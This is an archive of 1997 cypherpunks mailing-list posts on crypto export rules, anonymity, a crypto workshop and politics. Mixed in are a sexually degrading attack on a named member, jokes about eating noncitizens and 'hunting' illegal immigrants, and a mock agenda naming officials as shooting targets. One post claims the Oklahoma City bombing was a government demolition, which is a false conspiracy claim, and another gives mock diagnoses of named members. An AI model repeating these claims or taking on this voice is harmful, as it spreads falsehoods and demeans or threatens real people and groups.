~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 20 Nov 1997 17:03:16 +0800
To: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Subject: Re: your mail
In-Reply-To: <UwnQ4MdR7Gmffv8HRfEj/A==@bureau42.ml.org>
Message-ID: <Pine.A41.3.95.971120015244.77190D-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 18 Nov 1997, bureau42 Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim May will fuck anything that moves, but he'd 
> rather be fucking his own mother's dead body.
> 
>            /\
>         __/__\__
>          | 00 |  Tim May
>         |:  \ :|
>          | \_/|
>           \__/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <remailer@htp.org>
Date: Thu, 20 Nov 1997 10:33:18 +0800
To: cypherpunks@cyberpass.net
Subject: The Great Awakening
Message-ID: <19971120022501.17715.qmail@nsm.htp.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>Bob Hettinga wrote:
>> BTW, Emerson, Dickenson, Whitman, Thureau, etc., were part
>> of the same ideological outpouring which, in the theological arena, was the
>> Great Awakening. A lot can be said for the view that this was American
>> Romanticism, as Chopin, Byron, the Brontes, Austen, etc., were all
>> happening in roughly the same couple of generations. Later, like libertines
>> and enthusiasts throughout history, they became extremely repressive. We
>> eventually came to call them Victorians. (Sound familiar, you baby boomers?)
>
>After thinking about this I am certain that you are speaking of a movement
>other than the Great Awakening. I can't remember or find a convenient name
>for the religous/ethical awakening that occured prior to the Civil War.

"THE GREAT AWAKENING

"A conservative reaction against the world view of the new science was 
bound to follow, and the first half of the eighteenth century witnessed a 
number of religious revivals in both England and America.  They were 
sometimes desperate efforts to reassert the old values in the face of the 
new and, oddly enough, were themselves the direct product of the new cult of 
feeling, a philosophy which argued that man's greatest pleasure was derived 
from the good he did for others and that his sympathetic emotions (his joy as 
well as his tears) should not be contained."

 -- The Norton Anthology of American Literature, Third Edition, Volume 1

Being a New Englander, Bob should know about the revivalist of Northampton, 
Massachusetts: Jonathan Edwards.  His name is synonymous with the "Great 
Awakening."

As for the religious/ethical awakening that occurred prior to the War 
between the States, that has generally come to be known as "American 
Transcendentalism," especially the works of Whitman, Emerson and Thoreau.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 20 Nov 1997 03:31:49 +0800
To: Colin Rafferty <craffert@ml.com>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <ocr4t58q25f.fsf@ml.com>
Message-ID: <Pine.LNX.3.93.971120045204.131A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 19 Nov 1997, Colin Rafferty wrote:

> Tim May writes:

> > No court proceeding is needed to deport illegal aliens, save for a
> > perfunctory classification hearing to determine whether or not they have a
> > Green Card.
> 
> How do you know that someone is not a citizen?  My mother-in-law has no
> green card, can barely speak English, yet can legally stay in the US for 
> as long as she likes.
> 
> Of course, that's because she has been a US citizen for over thirty years.

The solition to this problem is manotory citizen identifaction cards.
With non possession of your card punishable by immeadet deportation.
Because if your not a citizen then you have no rights.

In fact if noncitizens have no rights or protection under the law I have a
great idear for an inexpencive food sorce.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 20 Nov 1997 13:12:36 +0800
To: cypherpunks@toad.com
Subject: Traffic Analysis Tip #3207
Message-ID: <199711200458.FAA21590@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



TRAFFIC ANALYSIS TIP #3207: Seasonal Affective Disorder (SAD)

When performing traffic analysis and/or stylometry for the purpose of
discerning the sometimes subtle differences between genuine mental
imbalance and affectation of the same by boilerplate government and/or
corporate shills, one needs to take into account the possible role that
'Seasonal Affective Disorder,' (SAD), may play in emotive attacks on
the target, be it a group or a particular subject.

The onset of SAD can often be recognized by the correlation between
increasingly emotional attacks and specifically monitorable elements
of seasonal changes, such as the decreasing amount of light in the
northern and southern climes as winter advances.
Examples of this can be easily charted using posts originating from
ISP's such as sympatico.ca. The data can then be compared to that
garnered through an analysis of Hettinga's posts, showing that the 
latter are goal-oriented emotive attacks designed to provide identity-
associated confirmation/support of the current round of anonymous posts
aimed at denigrating the cypherpunks mailing list by associating it
directly, in the minds of others, with one or two individuals/targets
on the list.

Note that although SAD can aggravate existing conditions, such as OCD
(Obssesive-Compulsive Disorder), it does not change the basic traits
of those conditions.
The excessive diatribes of Choate, for instance, upon having a few
lines of one of his posts changed/misquoted by Toto/TruthMonger, were
shown by analysis to have been easily deflected by others into a more
generalized attack/defense-of-his-position.
While Hettinga's current attack might easily be confused with an
identity-fixation focus of the same general form of OCD, closer 
analysis would show that his posts continually return to goal-
oriented repetitive misstatements aimed toward linking the individual
to a specifically designed mind-construct being advanced by the
para//el anonymous posts.

Likewise, the effect of Seasonal Affective Disorder on those afflicted
with a wider variety of interconnected dysfuntionalities, such as the
ADHD/Tourette/OCD/Schizoid tendencies of TruthMonger #1, is to merely
increase the volatility of already existing conditions.
Analysis of the known posts of #1, under a variety of personas and
anonymous list offerings, shows the same wide set of dysfunctional 
anomalies working at cross-purposes on a broad spectrum of issues.
One of the keys to differentiating these posts from those produced
by boilerroom spook operations is recognizing the existence of 
multiple underlying signs of a broader range of diagnosic criterion
than is present in a willful affectation of dysfunctional conditions
designed to elicit para//el emotive reactions in other subscribers
to the mailing list.

The effect/influence of SAD has been shown in the past to be much
greater during high levels of El Nino activity.

TAT#3207/coe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)Nerthus <cypherpunks@cyberpass.net>
Date: Thu, 20 Nov 1997 13:07:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fairy Gold
Message-ID: <199711200500.GAA21844@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Monty Cantsin wrote:
>Anonymous <anon@anon.efga.org> wrote:
>>Persistent identities suck.  Ideas stand or fall on their own.
>>Reputation capital is fairy gold, evaporating with the morning dew.

If this were really true, you would have posted your message under your real 
name (a.k.a., your persistent identity).  The fact that you chose to make 
your statement anonymously only proves the inverse of what you say.

>I do not believe this to be true.  Of course, concepts are valid
>regardless of their source.  It would be unwise to take the statements
>even of established identities on faith.
>
>The advantage of persistent identity is that it allows the exploration
>of more complicated ideas.  Use of the persistent identity places a
>particular post in a greater context.
>
>There is only so much that can be done in a single post.  It is the
>mailing list equivalent of a sound bite.

We should remember that -- at least here in America and the rest of the 
so-called first world -- we live in the age of the sound bite where the 
"medium is the message."  Public opinion is manipulated by the puppetmasters 
who pull the emotional strings of John and Jane Q. Public sitting in front 
of the TV each night.  Witness how anyone who has watched a video on Waco is 
quickly being lumped into the category of an anti-government extremist 
(Terry Nichols had two copies of "Waco Under Siege" in his house).  The 
underlying message is, "don't consider any of the facts that the video 
viewer presents to you, just realize he/she is an extremist."

Frankly, I wasn't there at Waco so I don't know what happened.  However, as 
Monty pointed out in another post, the fact that the FBI/BATF/etc. 
administered the gas into the Davidian home (notice how I fail to use the 
media-sanctioned term "compound") is clearly an aggressive act on the part of 
the U.S. gov't.  Regardless of what the spinmeisters say (both on the left 
and the right) no human being with a conscience can take note of this fact 
and say that the feds were justified in their actions.  Gassing children?  
Come on.

A single sound bite on its own will do nothing, but a persistent group of 
sound bites presented over time with a recurring message can create a great 
amount of influence.  This is how public opinion is formed through mass
media channels.

But think about this: who is the author of these mass media sound bites?  
Can you name the person?

It's easy to say that it's the feds, the ZOG, the NWO crew...but you can't 
name an individual can you?  Why is that?

Seriously, think about this question.  It has a lot to do with a major
cypherpunk theme: anonymity.  But in this case, with hardly any conscious
responsibility.

Nerthus

P.S. Notice how my response becomes "negated" by Monty's previous response 
when you read the first 6 lines of text in order:

"
>>Persistent identities suck.  Ideas stand or fall on their own.
>>Reputation capital is fairy gold, evaporating with the morning dew.

If that were really true, you would have posted your message under your real
name (a.k.a., your persistent identity).  The fact that you chose to make 
your statement anonymously only proves the inverse of what you say.

>I do not believe this to be true. 
"

Think how easily Monty's "response" could be used against me if the quoted 
text marks (>) were removed.  Truths are easily twisted into lies by those 
who seek advantage from such actions.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)Nerthus <cypherpunks@cyberpass.net>
Date: Thu, 20 Nov 1997 13:32:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: e$: Snakes of Medusa on Wall Street? (fwd)
Message-ID: <199711200527.GAA25040@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>Bob Hettinga wrote:
>> BTW, Emerson, Dickenson, Whitman, Thureau, etc., were part
>> of the same ideological outpouring which, in the theological arena, was the
>> Great Awakening. A lot can be said for the view that this was American
>> Romanticism, as Chopin, Byron, the Brontes, Austen, etc., were all
>> happening in roughly the same couple of generations. Later, like libertines
>> and enthusiasts throughout history, they became extremely repressive. We
>> eventually came to call them Victorians. (Sound familiar, you baby boomers?)
>
>After thinking about this I am certain that you are speaking of a movement
>other than the Great Awakening. I can't remember or find a convenient name
>for the religous/ethical awakening that occured prior to the Civil War.

"THE GREAT AWAKENING

"A conservative reaction against the world view of the new science was 
bound to follow, and the first half of the eighteenth century witnessed a 
number of religious revivals in both England and America.  They were 
sometimes desperate efforts to reassert the old values in the face of the 
new and, oddly enough, were themselves the direct product of the new cult of 
feeling, a philosophy which argued that man's greatest pleasure was derived 
from the good he did for others and that his sympathetic emotions (his joy as 
well as his tears) should not be contained."

 -- The Norton Anthology of American Literature, Third Edition, Volume 1

Being a New Englander, Bob should know about the revivalist of Northampton, 
Massachusetts: Jonathan Edwards.  His name is synonymous with the "Great 
Awakening."

As for the religious/ethical awakening that occurred prior to the War 
between the States, that has generally come to be known as "American 
Transcendentalism," especially the works of Whitman, Emerson and Thoreau.

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 20 Nov 1997 14:23:06 +0800
To: cypherpunks@toad.com
Subject: Censorware Summit II (December 1-3)
Message-ID: <199711200616.HAA29396@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



[Note government criminal and pacifist groups are absent from the list
 of organizations represented. --Defcon]
===========
FOR IMMEDIATE RELEASE                   CONTACT:
Wednesday, November 19, 1997                     Anonymous

INTERNET/ONLINE SUMMIT: FOCUS ON FASCISTS RELEASES AGENDA FOR MEETING,
DECEMBER 1-3

WASHINGTON, D.C.-Organizers of the Internet/Online Summit: Focus on 
Fascists today released an agenda for the historic three-day meeting 
of free speech and freedom advocates, marksmen, guerilla leaders and
Constitution enforcement officials joining forces to find  ways to 
enhance the safety and freedom of citizens in cyberspace.

The meeting is the first time so many diverse organizations have come
together to address freedom and content issues related to citizens and
the established mass medium which has operated exceedingly well without
government interference. 
The Summit is the first in a series of discussions on issues affecting
free citizens in cyberspace, including advertising, access, privacy, 
and marketing and content.  The first meeting will focus on fascism and
safety.

The December 1-3 Summit will include speakers, panels, announcements of
initiatives taken by the Summit and its participants, and a small
exhibition of technological tools and commonly available munitions
to help citizens manage a censor's time off-line.  Panelists will be 
anonymous prior to the Summit.

The Summit Agenda, which is subject to armed intervention, follows:

MONDAY, DECEMBER 1,  5 p.m. - 8:30 p.m.
Registration and Opening Reception adjacent to technological tools 
weapons caches.

TUESDAY, DECEMBER 2, 7:30 a.m. - 6 p.m.
K-rations
Call to Arms
Target Practice (Vice President Al Gore invited to pose)
Presentation on Fascist-approved Content with the Propaganda
Broadcasting 
System and others
Framing the Targets: targets Lois Jean White, President of the National
PTA Panel in Framing the Targets
Panel in "Release the Safety"
Luncheon Targets: Target of the Month Newt Gingrich, Godfather of
Government Theft William M. Daley

Presentation on Fascist Oppression On-Line: Attorney General Janet Reno
and small, moving-duck panelists
Presentation on Public Propaganda: Secretary Richard W. Riley and 
affirmatively-nodding panelists
Presentation on the Technology Munitions Kit
Panel on Censoring and Blocking

WEDNESDAY, DECEMBER 3,  8:30 a.m. - noon
K-rations
Review of Previous Reichs:  Christine Varney, Chairperson of the Summit
Bavarian Roundtable with Summit Shills
Kids Panel Molested by Moral Majority Leaders
Armageddon

All activities will take place at a site overlooking the Renaissance 
Washington, D.C. Hotel at 666 Sixth Street, N.W.

Registration to attend the Summit must be done through the Summit's Web
site: www.hotnastykidsonline.orgy.  Separate registration forms are 
available at the site for reportwhores and the pubic, as well as other
target information as it become available.

A partial list of the organizations sponsoring the Summit includes:

Anonymous Arms Dealers 
Anonymous Paramilitarists
Anonymous Freedom Fighters
Anonyous Americans
Anonymous Libertarians
Anonymous Ninjas
Anonyous Assholes
Anonymous Average Citizens
Anonymous Citizens Living In Fear Of Their Government
Anonymous Secret Government Organizations
Anonymous BATF Agents of Oklahoma
Anonyous Mind-Controlled Dupes of the New World Order
Tim C. May
# # #





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 22 Nov 1997 11:34:04 +0800
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: Nobuki Nakatuji
Message-ID: <1.5.4.32.19971120122115.006cef8c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke wrote:

>Due to his distinctive writing style, John Young should probably have
>his anonymous posts translated into English by Nobuki if he truly
>wishes to remain anonymous.

Good god, Jonathan, you trying to get the JY-box TWA 800ed on 
CIA-TV Barney? Send fee for using TM nym.

Spoofing persistent identities, writing style, secret thoughts and hidden
agendas are adult-nut-rated kid's stuff here, the weirdo pitches the 
easiest of all, especially the puretext missionary position in white socks 
style of blackhearts which ever vaunts itself best See Jane Read Spot.

Who do you think "John Young" is if not a machinic composite 
of all previous, current and conceivable and abortable of cpunks, and 
pseudo-cpunks, extra bile-sauced with apish objective journalism 
gone stale, foul, rancid and roadkill tastier, by all the crazed truly 
knowns and unknowns passing through claoked in incredibly ordinary, 
goofily Anglicized, hide-shame names of the world's English-imitating 
kill-native cultures. 

To wit: "John Young," no other vapid pseudonym have ever been so 
often used to hide god's evilist holies.

Except the other subscribers.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 22 Nov 1997 11:33:36 +0800
To: cypherpunks@toad.com
Subject: RE: Search engines and https
In-Reply-To: <3.0.3.32.19971119194653.033a2098@mail.atl.bellsouth.net>
Message-ID: <48Vgge27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Robert A. Costner" <pooh@efga.org> writes:

>
> At 01:02 PM 11/19/97 -0500, Fisher Mark wrote:
> >* Many of us find being your own Certificate Authority makes for greater
> >security, as you never have to let your private keys out the door, but
> >only recently have the tools for creating and maintaining Certificate
> >Authorities and server certificates become really commercialized (i.e.
> >GUI front ends, available from Netscape and Microsoft, etc.)
>
> Can someone direct me where to get CA software to sign my own Stronghold key?

Try C2net's shysters?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sat, 22 Nov 1997 11:30:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Report on UN conference on Internet and racism
Message-ID: <199711201532.JAA17853@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Anonymous <nobody@replay.com> wrote:
>Actually, many studies have found that immigrants, legal and illegal,
>make a net positive contribution to the economy, even considering
>their access to government services.  Anyone who has worked with
>these people knows that most of them work harder than native born
>Americans.
>
>Even aside from the strictly economic balance sheets, giving these
>people the opportunity to succeed in a free country is a significant
>moral benefit which must count in favor of free immigration.
>
>They also serve to make our country more multi-cultural, with greater
>awareness and appreciation of the value of alternate customs and
>lifestyles.  We develop "hybrid vigor", as our culture is cross
>fertilized by elements from all around the world.  The result is an
>incredibly dynamic and flexible culture, which is why the United
>States will continue to be a world leader for the next century.

These are all excellent points.

If people are successful in forming strong cross border relationships,
it may no longer be meaningful to describe one country or another as a
"world leader".

>Of course, this gift of diversity causes immigrants to be hated and
>feared by racists such as Tim May, who sees them only as targets to
>mock with threats of murder:
>
>> Ironically, the authorities are refusing to enforce the immigration
>> laws.  This is why the militias here in California have been forced
>> to deal with illegal immigrants in the only way left to
>> them. (There's a hunt in Imperial Valley this coming Saturday.)

He may be a bastard, but he's *our* bastard! ;-)

Seriously, I think you are doing yourself a disservice to characterize
Tim May as a mere racist.  His views are obviously more complex and
interesting than that.  In this case, he is making a joke.  I think.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sat, 22 Nov 1997 11:29:36 +0800
To: cypherpunks@Algebra.COM
Subject: Violence and Depravity
Message-ID: <199711201532.JAA17885@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain





Monty Cantsin wrote:

>Violence is, in nearly every case, a poor investment of time, >money, and energy.

I disagree.

The US Goverment and the mainstream media were both guilty
of either ignorance or deliberate subreption during McVeigh's
trial.  As a military trained explosive demolition instructor,
I am compelled to concur with the absent testimony and published
findings of a certain three star, to wit: 
It ain't necessarily so.

Anyone with even a cursory knowledge of explosives will tell you
that two tons of ammonium nitrate, sixty feet from the base
of a tall, reinforced concrete and steel building, will not do very much more than break lots of windows.  You see, ammonium nitrate is a low velocity explosive compound useful for moving dirt.  A brissance, or shattering effect, on steel and/or reinforced concrete requires an explosive compound with much greater explosive velocity.... C-4, several types of commercial
blasting gelatin, even TNT.  

If you observed the news footage of the Murray Federal Building after the blast, you may have noticed that the damage was configured in a semi-cylindrical fashion, rather than the conic section which would have resulted from a ground placed charge of sufficient strength.  You might also have wondered about the apparent lack of a crater at the site of the explosion...
(The crater was mysteriously relocated to the basement of the structure, probably by A Terrorist-Provocateur To Be Named Later...)

If you looked closely at the ruined building, you would have seen
evidence of brissance on alternating bearing members on each floor.
(I have photos of this)

Had detailed chemical analysis of the site been permitted, evidence of a very large and elaborate line or ring main constructed of detonation cord, of the RDX or PETN based military variety, likely, would have been found.

Consider that the placement of the array of charges necessary to 
simultaneously shatter several dozen large bearing members in the
building would have required several hours for a well trained
demolition team, not to mention unlimited access to the building after hours.

Seismographs recorded TWO impacts that day, several minutes apart.

Consider that if this action was meant to revenge or commemorate the Waco massacre, it achieved the opposite goal.  However, if this was the work of agents-provocateur, it worked beautifully.  Waco was downplayed in the face of 'the threat of domestic terrorism.'  The body count was higher, and this time it came from the 'self-styled militia.'
Also, if McVeigh really had followed the Turner Diaries recipe, he would have put his bomb somewhere useful.  The book details the use of a similar device to destroy a large government database, and the truck bomb is parked underneath it
in the basement parking structure, _not_ sixty feet away...

The reader's digest version:

1)  McVeigh's bomb, as it was and where it was, was a squirt of piss in a hurricane.

2)  A well financed team of demolition professionals did the job.

3)  The payoff from this "investment" was the impressive Anti-Terrorism bill, much political mileage for the agency "targeted" by the attack, and an option for more legislation in the crypto arena.

4)  In a perfect world, McVeigh would have been prosecuted for incompetence, and given a suspended sentence because he was, after all, merely an infantry sergeant, not a demolition pro.  In the same perfect world, Woodward and Bernstein types would follow up on stuff like this instead of gulping down regurgitated propaganda like so many infant birds.  Then perhaps the true terrorists would be punished, and the political agenda of their employers exposed.

5)  The convenient deaths of poor defenseless children(TM) contributed mostly to the policy goals of the jackbooted thugs, not to those of their detractors.

6)  McVeigh pulled an Oswald.  Quit crediting him with success.


A Noncom To Be Named Later







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sat, 22 Nov 1997 11:29:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: FCPUNX:Tim plans to kill a federal judge
Message-ID: <199711201535.JAA17972@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

James Donald wrote:
>At 06:10 PM 11/14/97 -0700, Tim May wrote:
>> By the way, the same can be said about the work of Heidegger, a thinker who
>> has had some influence on me. Whenever I cite anything Heidegger ever said,
>> I can count on some numbskull to parrot the "Heidegger was a Nazi" shtick.
>
>Probably because Heidegger *was* a Nazi, who pranced around in full drag 
>Nazi uniform and sent certain of his colleagues to the concentration camps.
>
>To very crudely oversimplify the relationship between Heideggers 
>philosophy and Nazism, it goes like this.
>
>No objective, only the intersubjective, therefore the community
>defines reality, therefore truth is merely relative to the community.
>
>Yeah, I know it is more complex than that, but it still boils down
>to debates being resolved by hanging people from the ceiling with 
>piano wire rather than by appeal to the external world.

You are doing something slightly different from people who respond to
a point with "Heideggar?  That Nazi!"

The people who do this are short circuiting the discussion instead of
showing how the point made is in error.  In a sense, they are not
discussing an idea, but the group affiliations of each speaker.

I find that the ideas are more interesting.

(Although, if one were interested in Heideggar, his biography would
probably be interesting, too.)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sat, 22 Nov 1997 11:26:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Illusion of Freedom
Message-ID: <199711201617.KAA11756@dfw-ix12.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Monty Cantsin wrote:
>However, most people who engage in war are not in any sense free and
>the single most apparent feature of life in a military organization is
>the elimination of freedom and privacy.
>
>It is most often the case that in order to wage war, one must first
>become enslaved.

Those who wage war are rarely the slaves.  Those who die usually are.
The "cannon fodder" you mentioned.

Gives new meaning to to phrase "...give me liberty, or give me death."

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sat, 22 Nov 1997 11:15:34 +0800
To: Rich Salz <jk@stallion.ee
Subject: Re: export restictions and investments
In-Reply-To: <199711190359.WAA10764@sulphur.osf.org>
Message-ID: <v03102805b09a12b18b3b@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:59 PM -0500 11/18/1997, Rich Salz wrote:
>>How do the US export restrictions affect investments into non-US crypto
>>companies? Is it legal for US private persons or companies to invest
>>money into companies developing strong crypto applications for example in
>>Europe? 
>
>We got an official legal opinion, which was that wholly-owned subsidiaries
>of US entities are subject to US regulations in this area.

Does that equally apply to foreign corporations owned partially or fully by U.S. citizens, as is the case I believe for C2's Anguillan corporation?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Thu, 20 Nov 1997 08:17:34 +0800
To: cypherpunks@toad.com
Subject: Re: export restictions and investments
In-Reply-To: <199711190359.WAA10764@sulphur.osf.org>
Message-ID: <199711200004.JAA01877@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain




At 15:01 97/11/19 -0800, via RadioMail wrote:
> when i left the program, years ago, it was 10%.
> 
> i do not know if something else was done later.
> 
>  ----- Original Message
> 
> Date: 20 Nov 97 07:50 +0900
> From: Joichi Ito <jito@eccosys.com>
> Subject: ELVIS+
> To: Jeff Rulifson <jeffr@Eng.Sun.COM>
> 
> Jeff,
> 
> what % share of ELVIS+ does Sun own?
> 
>  - Joi

--
PGP Key: http://pgp.ai.mit.edu:11371/pks/lookup?op=get&search=0x2D9461F1
PGP Fingerprint: 58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ji.to



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Sat, 22 Nov 1997 11:33:34 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711200435.XAA12526@users.invweb.net>
Message-ID: <Pine.SUN.3.91.971120091920.16807G-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



> >Of course, you have an unimpeachable claim, although 'Geiger the III' is
> >a rather odd last name for an American Indian.
> 
William H. Geiger III:
> My impeachable claim is I am here and they are not. I see no reason why I
> or anyone else should sit idly by and watch the SouthWest be turned into a
> Mexican colony.

You are here, and they are not?  Then what's the problem?  I thought you 
had a problem with the fact that they ARE "here"!


> >I don't find it at all surprising that people who live in a 'shithole'
> >want to leave.  It is easy for you to suggest that they overthrow their
> >government - after all, you won't be the one facing a Mexican prison.  
> 
William H. Geiger III:
> Personally I could care less what they do.

This is simply and obviously not the case.  You do care what they do.  If 
not, you wouldn't express such violent feelings towards them.



> >This is going way off topic at this point, and I am at fault for starting
> >it.  I was just distressed at how rapidly this list seems to be turning
> >towards hate and bigotry.  Lets take it to email.
> 
William H. Geiger III:
> There is no hatred or bigotry involved in my position. I am really
> apathetic towards the Mexicans. They can go and do whatever they want so
> long as they are not doing it here.

By the way, what do you mean by "here"?

William H. Geiger III:
> The same goes for the Germans, French,
> Ethiopians, Iraqies, Iraelies, Australians, Japanizes, et. al. 
> 
> I don't care what my neighbor does in his house so long as he doesn't try
> comming over and doing it in mine.

Oh, now I understand.  You mentioned the southwest U.S.A. earlier.  
Obviously you have a house in the U.S.A. southwest, and some furners are 
on your property.  I suggest you contact your local police, or perhaps a 
private security firm would do a better job for you.

___________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
__________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 22 Nov 1997 11:14:25 +0800
To: cypherpunks@cyberpass.net
Subject: Call for Papers: The 3rd Mac Crypto/ internet commerce workshop
Message-ID: <v04002755b09a0c93cfb6@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date: Wed, 19 Nov 1997 13:36:19 -0800
To: mac crypto list <mac-crypto@vmeng.com>
From: Vinnie Moscaritolo <vinnie@vmeng.com>
Subject: Call for Papers: The 3rd Mac Crypto/ internet commerce workshop
Sender: <mac-crypto@vmeng.com>
Precedence: Bulk

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Its that time again folks.

I am starting to put together the 3rd Mac Crypto/ internet commerce workshop.

The dates should  be around the last week of Jan 98, most likely at in
Apple, Cupertino, (unless something changes)  This year looks like it will
a really
hot ticket.

>>>>>>>>  I am looking for folks to talk, papers etc.. <<<<<<<<<

This years goals are to:

1) Provide a place for developers to learn how they can embed crypto
support into thier MacOS / Rhapsody products today.

2) Give developers a chance to show off some of the work that has been
done in the past year.

3) Plan what needs to be done and talk about product oppertunities.

4) Give the developers a chance to tell Apple and other vendors what
they want to see in the future.

to see what we have done the past two years,  please check out the webpage at
http://www.vmeng.com/mc/ . I should be posting a preliminary schedule,
formal announcements and registration  form shortly.




Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 3F903472C3AF622D5D918D9BD8B100090B3EF042

1 if by land, 2 if by sea.
	 Paul Revere - encryption 1775


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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
